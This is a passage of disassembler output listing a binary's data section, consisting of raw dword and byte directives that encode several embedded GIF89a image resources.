		dd 6408FE3h, 4490E429h,	91E46916h, 0A9FE2648h, 364C92E4h
		dd 330A01B9h, 13C8214Ch, 0C1709032h, 0A9665804h, 765C96E5h
		dd 6097E5E9h, 98E62986h, 0E6699664h, 0A9A66899h, 90179AE6h
		dd 8213C320h, 9030138h,	0E7604416h, 0A9E6789Dh,	0F67C9EE7h
		dd 809FE7E9h, 0A0E82A06h, 0E86A1684h, 6A2688A1h, 38300901h
		dd 2F134821h, 3413080h,	0E96A5694h, 0AA6698A5h,	769CA6E9h
		dd 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h, 0F08013A9h, 2C821342h
		dd 110782E1h, 0ACEB202Ch, 0EB6AD6B4h, 0AAE6B8ADh, 0F6BCAEEBh
		dd 0C0AFEBEAh, 0B0EC2B06h, 811B16C4h, 212C2E07h, 642C1148h
		dd 0D00200E0h, 0B4ED2B46h, 0ED6B56D4h, 0AB66D8B5h, 76DCB6EDh
		dd 0E0B7EDEBh, 0B8EE2B86h, 42C0640Eh, 0C10C8211h, 1C0C0602h
		dd 0F0BBEEE0h, 0BCEF2BC6h, 0EF6BD6F4h, 0ABE6F8BDh, 0F6FCBEEFh
		dd 0BFEFEBh, 600CC07h, 0AE910C2Ch, 4020140Ah, 370CC2C0h
		dd 10C3F0ECh, 0C4F12C47h, 6C57FE14h, 6718C5F1h,	1CC6F1ACh
		dd 271EC77h, 0F060A815h, 30A4421Fh, 0A40301C1h,	2CCAF2ACh
		dd 0CBF2ECB7h, 0F32CC730h, 6CD734CCh, 0E738CDF3h, 3CCEF3ACh
		dd 0AC16023h, 0C2810B23h, 6D1402C9h, 2748D1F4h,	4CD2F4ADh
		dd 0D3F4ED37h, 0F52D4750h, 6D5754D4h, 0F57D5F5h, 0CACFC0A0h
		dd 943E1FEh, 0C000180Fh, 6D9764D8h, 0A768D9F6h,	6CDAF6ADh
		dd 0DBF6EDB7h, 0F72DC770h, 4DD774DCh, 24040077h, 0E9AAC1A0h
		dd 17090AEh, 0F82E0780h, 6E1784E0h, 2788E1F8h, 8CE2F8AEh
		dd 0E3F8EE37h, 792E4790h, 402407E4h, 0DC360981h, 1F0BE8F0h
		dd 0E7EA7048h, 0FA2E87A0h, 6E97A4E8h, 4810A57Ah, 31094170h
		dd 17083124h, 0DD670442h, 6ED7B4ECh, 0E7B8EDFBh, 2170FBAEh
		dd 0B827090h, 48411036h, 21345C1Ah, 27C80E44h, 0CCF2FCAFh
		dd 0F3FCEF37h, 0FD2F47D0h, 6F57D4F4h, 67D8F5FDh, 3BF63DAFh
		dd 883D108h, 2F849F13h,	97E4F8FEh, 0E8F9FE6Fh, 0FAFEAFA7h
		dd 8121BECh, 3B00h, 0
		dd 38464947h, 0B6139h, 180000Bh, 4EE49500h, 21FFFFFFh
		dd 0A0104F9h, 2C000100h, 0
		dw 0Bh
		dw 0Bh
		dw 200h
		dw 8C11h
aBhiAaZGi8s	db 'h›Íí œ´Z',1Bh,'êƒë8S',0
		dd 3B00h, 0
		dd 38464947h, 2926139h,	0AE30081h, 0F2ECE100h, 0E8F5F0E8h
		dd 0F5EFF5F1h, 0FBF9F6F8h, 0F8FCFAF8h, 0FDFCFCFBh, 0FEFEFDFEh
		dd 0FFFEFEFEh, 4 dup(0FFFFFFFFh), 4F921FFh, 0F000A01h
		dd 2C00h, 2920000h, 4000081h, 49A810FEh, 0EB38BDABh, 60FFBBCDh
		dd 69648E28h, 0AEAA689Eh, 70BEEB6Ch, 0AF4CF2Ch,	0EFAE7548h
		dd 0C0FFEF7Ch, 2C4870A0h, 0A3B7371Ah, 3A6CC972h, 74A8D09Fh
		dd 0AF524BCAh, 0CB76ACD8h, 0D6A77AEDh, 2E4C78AFh, 6868CF9Bh
		dd 0BB6ECD38h, 7A78F0DFh, 0EFDBAF2Dh, 45DEBCF8h, 80FFFBDFh
		dd 7D688281h, 88878683h, 853D8A89h, 908F8E8Bh, 8D159291h
		dd 98979693h, 9A956F99h, 0A09F9E9Dh, 0A4A19C4Fh, 30A7A6A5h
		dd 0ACABA8A3h, 0AA16AEADh, 0B4B3B2AFh, 0B8B5B198h, 0B781BAB9h
		dd 0C0BFBEBBh, 0C4C1BD6Ch, 0C357C6C5h, 0CCCBCAC7h, 0D0CDC942h
		dd 387CD2D1h, 0D8D7D6D3h, 0DCD9CF2Dh, 0DEDBD8DDh, 0E0CAE2E1h
		dd 0BAE7E6E3h, 0ECEBE8E5h, 0F0EDEAACh, 0F2EF9EF1h, 0F490F6F5h
		dd 82FBFAF7h, 0FFFCF9h,	480BF8EDh, 6AA120B0h, 0D42A1306h
		dd 0C3A17033h, 421A5187h, 88B1489Ch, 33188AC4h,	0B1A8B8EEh
		dd 0FE6A47A3h, 348A431Fh, 0C9A471C2h, 0A2104893h, 9B52C95Ch
		dd 633096CAh, 0B329288Eh, 369A4666h, 0A9C44273h, 9E4267B3h
		dd 402833Eh, 3DE8B42Ah,	0C29346A2h, 0E9B4AA43h,	0A34EA639h
		dd 0B52A837Ah, 56AA35EAh, 0AAC342B3h, 0AE31EBB5h, 302C35Eh
		dd 2E6CB62Bh, 0CAD366B2h, 0EDB6AB42h, 0E36EB62Ah, 0B72B8292h
		dd 76BA276Eh, 0ABC25AF3h, 0BE23EFB7h, 223037Eh,	0AF30B82Ch
		dd 0EF138697h, 0B1B8AC22h, 238EC440h, 0B92C62BBh, 96C81CF2h
		dd 0ACA28733h, 0CE17B3B9h, 167439Eh, 14B4BA2Dh,	3753A6D2h
		dd 35BAAD41h, 63AECC49h, 0BB2D6203h, 0B6D82336h, 0ADA1D773h
		dd 0DE0C77BBh, 0B383BEh, 9F8BC2Eh, 8B93C6E2h, 79BCAE40h
		dd 0A3CEE607h, 0BD2E8063h, 0D6EA04FAh, 0EECF63A5h, 0E5773B7Ch
		dd 0F1BBFDEh, 0F9385E2Fh, 0A3CFBEF2h, 0BD7EADD7h, 65EEF6EDh
		dd 7AEF8FC3h, 0F6D57D3Eh, 0AFCE9BEFh, 0FEFF345Fh, 7CAFD9Eh
		dd 0E0266A0h, 6815968h,	8260864Ah, 0A0C82D8Eh, 683E0E62h
		dd 0A128458h, 7E856146h, 5EA1885Dh, 57686E1Ah, 5CA1E87h
		dd 8D6E8862h, 265AA248h, 8A56689Eh, 62C58A2Ah, 8BD5E8Bh
		dd 0CE3256A3h, 368D5568h, 8E63854Ah, 0A3C8ED4Eh, 68FE3E52h
		dd 0A429054h, 3E916445h, 4EA4891Dh, 53692E4Ah, 4CA4E93h
		dd 4D309465h, 374B2549h, 85657020h, 0C060DC09h,	161296h
		dd 800203C0h, 0F0060F9h, 0C0003Ch, 0C0381A66h, 20026998h
		dd 0B4070100h, 401DF19h, 9A670008h, 0E7E0DE71h,	2A06809Fh
		dd 1684A0E8h, 88A1E86Ah, 0A2E8AA26h, 0E8EA368Ch, 2A4690A3h
		dd 5694A4E9h, 98A5E96Ah, 0A6E9AA66h, 0E9EA769Ch, 103E7CA3h
		dd 3B0001h, 0
		dd 38464947h, 2926139h,	1D84001Ah, 0E0E0E000h, 0E2E1E1E1h
		dd 0E3E3E2E2h, 0E4E4E4E3h, 0E6E6E6E5h, 0E7E7E6E6h, 0E8E8E7E7h
		dd 0E9E9E9E8h, 0EAEAE9E9h, 0F2ECE1EAh, 0E8EBEBEBh, 0EDE6EDECh
		dd 0F0EDE7F0h, 0E7ECECECh, 0EFEFF1EDh, 0F0F0F0EFh, 0F2F1F1F1h
		dd 0F3F3F2F2h, 0F4F4F4F3h, 0F6F5F5F5h, 0F7F7F6F6h, 0F8F8F8F7h
		dd 2 dup(0FFFFFFFFh), 4F921FFh,	1F000A01h, 2C00h, 2920000h
		dd 500001Ah, 7E27E0FEh,	689E694Ch, 0EB6CAEAAh, 0CF2C70BEh
		dd 78DF6D74h, 0EF7CEFAEh, 70A0C0FFh, 6F1A2C48h,	81E311A3h
		dd 0D09E0018h, 0AD4A74A8h, 0ACD8AF5Ah, 7AEDCB76h, 78B0E0BFh
		dd 0CF9B2E4Ch, 0CD7AB4E8h, 0F0DFBB6Eh, 60F100EEh, 0BC811D28h
		dd 0FBEFCF7Eh, 828180FFh, 86858483h, 8A898887h,	8E8D8C8Bh
		dd 9291908Fh, 96959493h, 9A999897h, 1F760E8Dh, 0A2A10210h
		dd 0A6A5A4A3h, 0AAA9A8A7h, 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h
		dd 0BAB9B8B7h, 0BEBDBCBBh, 0C2C1C0BFh, 92412B7h, 0CAC9C803h
		dd 0CECDCCCBh, 0D2D1D0CFh, 0D6D5D4D3h, 0DAD9D8D7h, 0DEDDDCDBh
		dd 0E2E1E0DFh, 0E6E5E4E3h, 0DEE9E8E7h, 4052509h, 0F2F1F0EFh
		dd 0F6F5F4F3h, 0FAF9F8F7h, 0FEFDFCFBh, 0A0300FFh, 0A0B0481Ch
		dd 130883C1h, 0B0C85C2Ah, 1087C3A1h, 6128160Bh,	8BC5A2A0h
		dd 0DC6A3318h, 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 0FE2893C9h
		dd 0C95CAA53h, 97CBA5B2h, 9CCA6330h, 0CDA6B349h, 0E80E2596h
		dd 0A7B3C9DCh, 83409FCFh, 0B44A1D0Ah, 48A3D1A8h, 0CA5D2A93h
		dd 0A7D3A9B4h, 9D4AA350h, 0D5AAB54Ah, 6AB358ABh, 84B52ADDh
		dd 0C360AF82h, 0B64B1D8Ah, 68B3D9ACh, 0CB5DAAD3h, 0B7DBADB6h
		dd 9DCAE370h, 0DDAEB74Bh, 0EAF378BBh, 0AFB7CBDDh, 0EF80BFDFh
		dd 0B8405896h, 88C3E1B0h, 0CC5E2B13h, 0C7E3B1B8h, 9E4B2390h
		dd 0E5B2B94Ch, 6B3398CBh, 0B3B9CCDEh, 43A0CFE7h, 0BA4D1E8Bh
		dd 0D12E734h, 0CD5EAB52h, 0D7EBB5BAh, 9ECB63B0h, 0EDB6BB4Dh
		dd 0EB73B8DBh, 0B7BBCDDEh, 83C0DFEFh, 0BC4E1F0Bh, 0C8E3F1B8h
		dd 5E0F2B93h, 0E7F38222h, 9F4BA3D0h, 0F5BABD4Eh, 6BB3D8EBh
		dd 0BBBDCEDFh, 0C3E0EFF7h, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h
		dd 0F7FBBDBEh, 984C4BE6h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh
		dd 600FFFFh, 480E028h, 81E06816h, 0A8FE2608h, 360C82E0h
		dd 1083E0E8h, 84E12846h, 2582E14h, 0A8661805h, 761C86E1h
		dd 2087E1E8h, 88E22886h, 0E2689624h, 0A8A62889h, 0B62C8AE2h
		dd 308BE2E8h, 8CE328C6h, 0E368D634h, 8E6388Dh, 0F4150963h
		dd 408FE3E8h, 90E42906h, 0E4691644h, 0A9264891h, 364C92E4h
		dd 5093E4E9h, 94E52946h, 0E5695654h, 0A9665895h, 765C96E5h
		dd 3C9565E9h, 98E6297Eh, 0E6699664h, 0A9A66899h, 0B66C9AE6h
		dd 459BE6E9h, 9CC16096h, 0E769D674h, 0A9E6789Dh, 0F67C9EE7h
		dd 809FE7E9h, 0A0E82A06h, 0E86A1684h, 0AA2688A1h, 368CA2E8h
		dd 90A3E8EAh, 0A4E92A46h, 0C25A2E94h, 0AA669805h, 769CA6E9h
		dd 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h, 0AAA6A8A9h, 0B6ACAAEAh
		dd 0B0ABEAEAh, 0ACEB2AC6h, 0EB6AD6B4h, 0AE6B8ADh, 0F6BAA5EBh
		dd 0C0AFEBEAh, 0B0EC2B06h, 0EC6B16C4h, 0AB26C8B1h, 6025A82Ch
		dd 0D0B3ECE0h, 0B4ED2B46h, 6B56FED4h, 66D8B5EDh, 0DCB6EDABh
		dd 0B7EDEB76h, 0EE2B86E0h, 6B96E4B8h, 0A6E8B9EEh, 0ECBAEEABh
		dd 0BBEEEBB6h, 0C19096E6h, 6BD6F4BCh, 0E6F8BDEFh, 0FCBEEFABh
		dd 0BFEFEBF6h, 0F02C0700h, 6C1704C0h, 2708C1F0h, 0CC2F0ACh
		dd 0C3F0EC37h, 0F12C4710h, 5C2F14C4h, 67180682h, 1CC6F1ACh
		dd 0C7F1EC77h, 0F22C8720h, 6C9724C8h, 0A728C9F2h, 2CCAF2ACh
		dd 0CBF2ECB7h, 0F32CC730h, 6CD734CCh, 0E738CDF3h, 3AC5F30Ch
		dd 0CFF3ECF7h, 0F42D0740h, 6D1744D0h, 2748D1F4h, 25C834ADh
		dd 0D3F4E06Ch, 0F52D4750h, 6D5754D4h, 6758D5F5h, 5CD6F5ADh
		dd 0D7F5ED77h, 0F62D8760h, 6D9764D8h, 0A768D9F6h, 6CDAF6ADh
		dd 0DBF6EDB7h, 0F70D3766h, 6DD774DCh, 0E778DDF7h, 7CDEF7ADh
		dd 0DFF7EDF7h, 25D5B80h, 6E178407h, 2788E1F8h, 8CE2F8AEh
		dd 0E3F8EE37h, 0F92E4790h, 6E5794E4h, 6798E5F9h, 9CE6F9AEh
		dd 0E7F9EE77h, 2E87A00Ch, 97A4E8FAh, 210339CEh,	3B0000h
		dd 0
aGif89ab	db 'GIF89ab',0
		dd 7BC6001Ch, 0B895A00h, 5B0C895Bh, 8A5C098Ah, 0F8B5D0Ah
		dd 5F088C5Dh, 9061088Eh, 8916308h, 641D9064h, 93651E91h
		dd 1B936708h, 68089567h, 94681994h, 8976924h, 6A19966Ah
		dd 986C2395h, 19996E19h, 72199B70h, 9E74199Ch, 399E7719h
		dd 7B40A17Bh, 0A27C41A2h, 3FA47F42h, 803EA57Fh,	0A6813DA5h
		dd 4AA6813Ch, 833CA882h, 0A88448A7h, 43A8843Ch,	873CAA86h
		dd 0AB883CABh, 3CAD894Ch, 8D49AC89h, 0B18F50AEh, 5EB0904Fh
		dd 915FB090h, 0B69556B2h, 5BB79755h, 9B67B89Ah,	0BB9C5CBBh
		dd 6BBA9E61h, 9E76BC9Dh, 0BDA277BDh, 74BDA272h,	0A370BEA2h
		dd 0C0A272BEh, 68C0A262h, 0A672BFA5h, 0C1A772C0h, 80C1A472h
		dd 0A874C2A7h, 0C1A872C2h, 81C1A77Eh, 0A972C3A9h, 0C5A86DC4h
		dd 8FC1AD68h, 0AB8FC2ABh, 0C9AE79C5h, 6ECAAE73h, 0B27FC9B0h
		dd 0C7B38FC7h, 92C8B190h, 0B678CEB4h, 0CFB490CBh, 74CFB473h
		dd 0B983CDB6h, 0CFBB93CDh, 77D3B997h, 0B988D1BAh, 0D3BA78D3h
		dd 79D4BA7Dh, 0BF9AD2BFh, 0D7C08DD5h, 9ED5C284h, 0C284D9C2h
		dd 0DAC385D9h, 92DAC488h, 0CAA2D8C6h, 0DEC9A5DBh, 99DECB94h
		dd 0CD99DFCDh, 0E0CDA9DEh, 9AE0CD99h, 0D19EE1CFh, 0E0D6ACE1h
		dd 0A8E4D3BBh, 0D5BCE1D7h, 0E4D5A9E4h, 0B5E8DAB0h, 0DBB7E8DAh
		dd 0EADDB6E8h, 0BCEADEBBh, 0E0C1EBDFh, 0FFFFC2EBh, 3 dup(0FFFFFFFFh)
		dd 4F921FFh, 7F000A01h,	2C00h, 620000h,	700001Ch, 827F80FEh
		dd 86858483h, 8A898887h, 8A8D8C8Bh, 76777A6Fh, 96959474h
		dd 9A999897h, 9E9D9C9Bh, 7A777697h, 7871866Fh, 6B6C6D72h
		dd 0AEADAC69h, 0B2B1B0AFh, 0B6B5B4B3h, 6D6C6BADh, 85717872h
		dd 63677079h, 0C6C56162h, 0CAC9C8C7h, 0CECDCCCBh, 6362C8CFh
		dd 85797067h, 5C5F6875h, 0DEDD585Ah, 0E2E1E0DFh, 0E6E5E4E3h
		dd 5C5AE0E7h, 8575685Fh, 545B6473h, 0F6F5F453h,	0FAF9F8F7h
		dd 0FEFDFCFBh, 90B654F9h, 8DC85399h, 124C2897h,	0B0C85C2Ah
		dd 1087C3A1h, 89C4A23h,	37178A31h, 5964D485h, 0C7A3A472h
		dd 8A43208Fh, 0A4B2491Ch, 972493C9h, 0C8535164h, 3B23154Ch
		dd 499CCA62h, 9BCDA6B3h, 0DCEA7338h, 1548D389h,	34CA8533h
		dd 0A8A321E1h, 9348A3D1h, 0B4CA5D2Ah, 4CA7D3A9h, 53293479h
		dd 19928C08h, 0DD6AB22Fh, 0D7ABB5CAh, 8AC360AFh, 86760B1Dh
		dd 0BA853012h, 0A2B18104h, 0FEB7DBADh, 9DCAE370h, 0DDAEB74Bh
		dd 46174BBh, 4AE852E9h,	229170Eh, 0B84C1E0Bh, 88C3E1B0h
		dd 8C5E2B13h, 2B8E45D8h, 50D0AC85h, 0E5B2A241h,	6B3398CBh
		dd 0B3B9CCDEh, 559CCFE7h, 4852B0D0h, 1D138C4Ah,	0CD5EAB52h
		dd 0D7EBB5BAh, 9ECB63B0h, 0C44FB0Dh, 0A08A8529h, 0B7A100B8h
		dd 83C0DFEFh, 0BC4E1F0Bh, 0C4E3F1B8h, 5228A02Fh, 0B098848h
		dd 9F4BA20Dh, 0F5BABD4Eh, 6BB3D8EBh, 82DD8EDFh,	7E852109h
		dd 0A0B0A894h, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh, 0F8942BECh
		dd 8C7C851h, 0EBF2080Ah, 0BFBFCFDFh, 600FFFFh, 80E028h
		dd 0F823052h, 0C210F485h, 0E8340704h, 461083E0h, 1484E128h
		dd 85E16856h, 42104E14h, 0F0E8850Fh, 84060441h,	2488E228h
		dd 89E26896h, 0E2A8A628h, 0F046288Ah, 0DC850E81h, 50381E0h
		dd 8DE368D4h, 0E3A8E638h, 0E8F63C8Eh, 3A3C8FE3h, 850DC1E0h
		dd 301C0E0h, 0A0970803h, 364C92E4h, 5093E4E9h, 94E52946h
		dd 393E54h, 50E01C03h, 482210C8h, 4040h, 98E62984h, 0E6699664h
		dd 0A9A66899h, 6649AE6h, 22048040h, 13C8510Ch, 80F0602Ch
		dd 0A9E40902h, 0F67C9EE7h, 809FE7E9h, 0A0E82A06h, 0F02A7Ch
		dd 51382C06h, 0B4441208h, 1A06C200h, 0A4E92064h, 0E96A5694h
		dd 0AA6698A5h, 4E9CA6E9h, 2006C1AAh, 120440B4h,	5012486h
		dd 0A0D43610h, 0B6ACAAEAh, 0B0ABEAEAh, 0ACEB2AC6h, 36AB6B4h
		dd 0E1245010h, 0F6BCAEC8h, 83AFEBEAh, 3B000204h, 38464947h
		dd 2836139h, 180001Eh, 0EADFCA00h, 21FFFFFFh, 0A0104F9h
		dd 2C000100h, 0
		dd 1E0283h, 0CB00200h, 0EDCBA98Eh, 0B49CA30Fh, 0DEB38BDAh
		dd 860FFBBCh, 0E69648E2h, 0CA464289h, 0C70BEEB6h, 0F6D74CF2h
		dd 0CEFAE78Dh, 0C0FFEF7h, 0A2C4870Ah, 2A4C88F1h, 0F3A6CC97h
		dd 0A74A8D09h, 8AF5AAD4h, 0DCB76ACDh, 0E0BF7AEh, 0B2E4C78Bh
		dd 0AB4E8CF9h, 0FBB6ECD7h, 0E7CB8F0Dh, 8EFDBAF4h, 0FCF7EBCFh
		dd 180FFFBEh, 58483828h, 98887868h, 0D8C8B8A8h,	1908F8E8h
		dd 59493929h, 99897969h, 0D9C9B9A9h, 1A09F9E9h,	5A4A3A2Ah
		dd 9A8A7A6Ah, 0DACABAAAh, 1B0AFAEAh, 5B4B3B2Bh,	9B8B7B6Bh
		dd 0DBCBBBABh, 1C0BFBEBh, 5C4C3C2Ch, 0B70C7C6Ch, 0CCCBC82h
		dd 5014h, 3Bh, 0
		dd 38464947h, 116139h, 0D6E70011h, 39260A00h, 154A3210h
		dd 42104931h, 45440E43h, 143C4B18h, 462E484Dh, 5B4A2862h
		dd 355F4D20h, 56173F50h, 44573B64h, 34745A2Dh, 6143755Ch
		dd 686D224Ch, 48647226h, 82398B6Ah, 8F843BA1h, 3F86786Ch
		dd 81518C87h, 0AA874DA2h, 4CA68264h, 894FA58Ah,	0A18C49A7h
		dd 51AA8A50h, 8D50A88Bh, 0A88E4DA8h, 407D9642h,	87798D95h
		dd 0A9915295h, 4DA79351h, 9256A795h, 0B2905CABh, 56B8905Dh
		dd 9653A895h, 0AB9657AAh, 49BF9163h, 9859A59Ch,	0BE9266A8h
		dd 65A28E7Eh, 995DBB94h, 0AA9E4DABh, 66BF9661h,	9765B696h
		dd 0AC9D5AC4h, 58AD9E57h, 966EA89Fh, 0B69B66C6h, 6CB79A6Ah
		dd 9D65BC9Ah, 0C3996FB3h, 5FC49873h, 0A357A6A1h, 0AFA15EAAh
		dd 58B0A357h, 0A45BACA4h, 0ABA165AAh, 68C49B72h, 0A75BAFA1h
		dd 0B1A6599Bh, 51AEA55Fh, 0A660B2AAh, 0B49B85AFh, 60A6A665h
		dd 0A666ADA7h, 0BAA36EADh, 62B1AB5Bh, 0A867A7AAh, 0CDA07FB7h
		dd 75B0AD5Eh, 0A37ABCA5h, 0C9A27DC6h, 73BEA578h, 0B157B4A8h
		dd 0D3A37BAEh, 93B3B158h, 0B35EB0A0h, 0C5A77790h, 63B5B25Fh
		dd 0AB74AAB2h, 0ACAF71C2h, 8AB4B560h, 0AE77CEA6h, 9CBA58B7h
		dd 6EC1A68Fh, 0B664B0B2h, 0A8B46BA6h, 6CB8B65Fh, 0A697A9B4h
		dd 0CBA986B6h, 8CCAAA86h, 0BB61D6A8h, 0ABB5739Ch, 61C9AD85h
		dd 0AD86B3BAh, 0BAB37BC8h, 6AB4B96Ah, 0AD8DB8BAh, 0B1B77CD3h
		dd 67AFBE66h, 0AE8FB7BDh, 0C1B1A2DAh, 8CB8C467h, 0B397C3B8h
		dd 0A6C07DD9h, 6EC8B891h, 0B794B9C4h, 0B6C27ACEh, 81B6C671h
		dd 0BE8DBDC1h, 9FC67CBCh, 70CEBA95h, 0BE90BBC7h, 0D2BA98BFh
		dd 73C3BE94h, 0BB9AB8C9h, 0D9BA9ED4h, 9EBCC38Ch, 0C786D8BBh
		dd 0C5C58DB5h, 78DBBDA2h, 0BEA7BDCFh, 0BBCF7CE1h, 87D2C3A3h
		dd 0D188BACFh, 0B1CF8FA7h, 84C1D184h, 0C6A4B9D2h, 0D7C5A7D2h
		dd 78BFD381h, 0C4AAB3D7h, 0E8C4ACDDh, 0A9B5D38Bh, 0C9A7D2C8h
		dd 0E3C5B1D0h, 8EC1D689h, 0CFA3C1D5h, 0ACDA90C7h, 0B8E6C9B7h
		dd 0DF8DE4CCh, 0D1D2B0B4h, 0B7EBCDB9h, 0CFBDE0D0h, 0E8D1BFE6h
		dd 0BADFD4BDh, 0E2A2D8D8h, 0DAD9BCC2h, 0A4C0E4A0h, 0DABCC2E3h
		dd 0D0DFB3D9h, 0C2B5EC98h, 0E9A4DCDCh, 0BBEBA2BEh, 0C9E7DCC7h
		dd 0ECA3F5DAh, 0F5DDCCBDh, 0A6D9E3C4h, 0EBCFBFF1h, 0E7EECFE5h
		dd 0BBE5F1D3h, 0F2D8C9FBh, 0CCFEC2EDh, 0FFCDFFC6h, 1Fh dup(0FFFFFFFFh)
		dd 4F921FFh, 0FF000A01h, 2C00h,	110000h, 8000011h, 9FF00FEh
		dd 0E62381Ch, 6153121h,	25081C2Ah, 0CF663297h, 164B4DA2h
		dd 3540A163h, 0E2D560ACh, 0AE96CBB5h, 2CDAD066h, 0D0E8320Ch
		dd 80C35F2Ah, 0E9F5EB19h, 30CB115h, 0B2C18025h,	4C251668h
		dd 0C2B9349Dh, 0A7126765h, 5B0203h, 0CB8992D9h,	50A153A5h
		dd 695449FDh, 0FF0BA907h, 0C180DC10h, 431E4A87h, 89ECE875h
		dd 0C91E494h, 39FE5340h, 0DC291A8h, 0B43C358Ah,	0C5D1B0F4h
		dd 4A1F9787h, 406808E4h, 0D894306h, 0F0A85842h,	744E380h
		dd 0C0662F24h, 8CE09009h, 0AC240F86h, 0E52268E8h, 68100AC8h
		dd 2594438h, 2215DFE0h,	79187226h, 930B2663h, 4CF04F22h
		dd 20416440h, 0AA344705h, 48134994h, 9B3F1C4Fh,	0B4810C5Ch
		dd 3E80E040h, 5208C28Ch, 2C94A924h, 8C9C5F51h, 8210A112h
		dd 3C9656A9h, 0AA058AA5h, 775A2350h, 0A08C2C08h, 6131D9CAh
		dd 2B2182BFh, 0C580C6C6h, 0FC6057Fh, 4D56A32Ch,	0DF10ADDAh
		dd 0A0783217h, 407BE0h,	3Bh, 0
aGif89at	db 'GIF89aT',0
		dd 15840017h, 0CFCFCF00h, 0DFD0D0D0h, 0E1E1DFDFh, 0E3E3E3E1h
		dd 0E5E4E4E4h, 0E6E6E5E5h, 0E7E7E7E6h, 0E9E8E8E8h, 0ECECE9E9h
		dd 0EEEEEEECh, 0F0EFEFEFh, 0F1F1F0F0h, 0F2F2F2F1h, 0F4F3F3F3h
		dd 0F5F5F4F4h, 0F6F6F6F5h, 8 dup(0FFFFFFFFh), 4F921FFh
		dd 1F000A01h, 2C00h, 540000h, 5000017h,	8E27E0FEh, 689E6964h
		dd 2A2CAEAAh, 0CF2C5440h, 78DF6D74h, 3090E7AEh,	70A0BB0Eh
		dd 440DCC48h, 0C9728990h, 0D09F3A6Ch, 554A74A8h, 0AC924442h
		dd 7AEDCB76h, 78B0E0BFh, 0CE4515BCh, 0CD7AB4E8h, 0F0DFBB6Eh
		dd 0A9091A78h, 0BCF8EFDBh, 0FBEFCF7Eh, 0F2276FFh, 86858483h
		dd 8A898887h, 858D8C8Bh, 92910E22h, 96959493h, 9A999897h
		dd 0D22939Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0A1A9A8A7h, 0AEAD0C22h
		dd 0B2B1B0AFh, 0B6B5B4B3h, 0B22AFB7h, 0BEBDBCBBh, 0C2C1C0BFh
		dd 0BDC5C4C3h, 0CAC90A22h, 0CECDCCCBh, 0D2D1D0CFh, 922CBD3h
		dd 0DAD9D8D7h, 0DEDDDCDBh, 0D9E1E0DFh, 0E6E5E2D6h, 22DBE8E7h
		dd 0EEEDEC08h, 0F2F1F0EFh, 0F6F5F4F3h, 0FA0722EEh, 0FEFDFCFBh
		dd 0A0300FFh, 5F90481Ch, 130882BEh, 4FE85C2Ah, 10878184h
		dd 489C4A23h, 8BC5A2B1h, 14463318h, 0C780A031h,	8A43208Fh
		dd 0A4B2491Ch, 282893C9h, 10F91E3Dh, 97CBA520h,	0C866330h
		dd 800230h, 0EA733802h,	0A7B3C9DCh, 83409FCFh, 0A0001502h
		dd 48A3D185h, 108AE93h,	3B00h, 0
		dd 38464947h, 146139h, 75C60011h, 9622D00h, 3B0A662Dh
		dd 76270F6Bh, 0B7A1A09h, 282F6E4Eh, 7B460A85h, 3E715B15h
		dd 6E6E696Bh, 8D4F6E6Eh, 0B9A3723h, 51259158h, 9B550D9Fh
		dd 26A4442Ah, 5010A256h, 0B51F0AA6h, 8989890Bh,	8C8A8A8Ah
		dd 90908C8Ch, 91909090h, 93929292h, 0BF2B9493h,	7B55213h
		dd 5B04C228h, 95950DB3h, 14B36395h, 6202C63Ah, 0C04811B9h
		dd 9BC5B19h, 5C05C24Bh,	9F9F23BEh, 22BF65A0h, 5904CF3Dh
		dd 0C66405CAh, 2D04E0Dh, 72A8A8A8h, 0CE6324C6h,	0ED15907h
		dd 6311CC6Dh, 0CC721AD0h, 54C38F17h, 0B401DB5Fh, 0CE88B4B4h
		dd 52C79736h, 0B51CD873h, 0B6B6B5B5h, 0B7B7B7B6h, 70B8B8B8h
		dd 0BBBB13E0h, 45D58FBBh, 8018E07Fh, 0D59822DFh, 1AE57D48h
		dd 0C113E879h, 0E687C2C1h, 0C4C4C425h, 0B021E88Ah, 0C8C878D6h
		dd 20ED87C8h, 84C9C9C9h, 0CBCB19F0h, 31EB94CBh,	0CE28EF91h
		dd 0F48ECECEh, 0CFCFCF1Fh, 9C5CE7AEh, 0D3D336F1h, 0D5D5D5D3h
		dd 0A944F2A5h, 0E6BE49F2h, 0D7D7D784h, 9C41F7A2h, 0E8C029FCh
		dd 2DFCA186h, 0B663F5B3h, 0F2C65DF6h, 0E3E3E387h, 0E47CF8C4h
		dd 0FDC0E4E4h, 6DFFC373h, 0CD67FFC6h, 0EAEA88FCh, 7BFFCDEAh
		dd 0ED7CFFCFh, 0FFD8EDEDh, 0EFEFEF8Eh, 0F3F2F2F2h, 0F4F4F3F3h
		dd 0FDFDFDF4h, 8 dup(0FFFFFFFFh), 4F921FFh, 7F000A01h
		dd 2C00h, 140000h, 7000011h, 827F80A7h,	3B488283h, 8A84363Ah
		dd 716E5282h, 70717273h, 4F57646Bh, 84193F4Dh, 75757466h
		dd 273D5C72h, 1F151618h, 544B3F2Dh, 147F3C52h, 9467475h
		dd 3D158A8Bh, 1A7F1758h, 0A7FBCB4h, 656A638Ah, 4E535D67h
		dd 26323E45h, 6F5F8B0Fh, 4061686Ch, 120E1120h, 1D21251Ch
		dd 884101Bh, 0BD05346Dh, 0BD041306h, 554ABCE7h,	4C51565Ah
		dd 0B283944h, 60695BBDh, 1E223349h, 292C2A24h, 86EBD23h
		dd 60C5A0h, 70B483BAh, 0E502C988h, 0D171088h, 12F10E0Eh
		dd 178AC624h, 3C206035h, 400840h, 1030884h, 3B00h, 0
		dd 38464947h, 2766139h,	26A50015h, 0DADADA00h, 0DEDEDEDDh
		dd 0DEDEDEDEh, 0DFDFDFDFh, 0E1E0E0E0h, 0E2E2E1E1h, 0E3E3E3E2h
		dd 0E4E7E4E0h, 0E5E5E4E4h, 0E6E6E6E5h, 0E8E7E7E7h, 0E9E9E8E8h
		dd 0EAEAEAE9h, 0E6EBEAEAh, 0EBEAEDEBh, 0EBEBEBECh, 0ECF1EDE5h
